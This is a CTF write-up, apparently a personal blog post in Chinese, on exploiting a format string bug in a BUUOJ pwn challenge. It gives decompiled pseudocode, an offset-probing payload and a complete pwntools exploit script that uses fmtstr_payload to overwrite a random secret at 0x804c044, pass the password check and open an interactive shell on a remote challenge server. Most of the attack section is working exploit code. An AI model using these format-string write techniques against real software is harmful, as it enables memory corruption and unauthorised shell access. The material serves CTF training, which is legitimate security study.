记录一个格式化漏洞
源文件是这个
首先ida反编译可得以下伪代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
   | int __cdecl main(int a1) {   unsigned int v1;    int fd;    int result;    int v4;    unsigned int v5;    char nptr;    char buf;    unsigned int v8;    int *v9; 
    v9 = &a1;   v8 = __readgsdword(0x14u);   setvbuf(stdout, 0, 2, 0);   v1 = time(0);   srand(v1);   fd = open("/dev/urandom", 0);   read(fd, &unk_804C044, 4u);   printf("your name:");   read(0, &buf, 0x63u);   printf("Hello,");   printf(&buf);   printf("your passwd:");   read(0, &nptr, 0xFu);   if ( atoi(&nptr) == unk_804C044 )   {     puts("ok!!");     system("/bin/sh");   }   else   {     puts("fail");   }   result = 0;   v5 = __readgsdword(0x14u);   v4 = v5 ^ v8;   if ( v5 != v8 )     sub_80493D0(v4);   return result; }
   | 
 
Line23存在格式化漏洞,可以利用pwntools中的fmtstr_payload函数
fmtstr_payload(offset, writes, numbwritten=0, write_size=’byte’)
- offset(int): 字符串的偏移,从1开始
 
- writes (dict): 注入的地址和值,{target_addr : change_to }
 
- numbwritten (int) : 已经由printf函数写入的字节数,默认为0
 
- write_size : 逐byte/short/int写入,默认是byte
 
测试获取offset:
payload:
1
   | AAAA%x$p-%x$p-%x$p-%x$p-%x$p-%x$p-%x$p-%x$p-%x$p-%x$p-%x$p-%x$p-%x$p-%x$p-%x$p-%x$p-%x$p-%x$p-
   | 
 
得到

发现AAAA(41414141)在第10个,故offset=10
要令Line26成立,只需要让unk_804C044可控,即0x804c044位置的变量可控,构造如下payload:
1
   | user=fmtstr_payload(10,{0x804c044:0x114514})
  | 
 
那么密码就是0x114514
当然想变成啥就变成啥啦
总exp:
1 2 3 4 5 6 7 8 9 10 11 12
   | from pwn import *
  p=process('/home/parallels/Desktop/pwn/pwn') p=remote('node4.buuoj.cn',27807)
  p.recvuntil('your name:') user=fmtstr_payload(10,{0x804c044:0x114514}) p.sendline(user) p.recvuntil('passwd:') payload=str(0x114514).encode('ascii') p.sendline(payload) p.interactive()
   | 
 
或者最朴素的方法:pwn_exp.py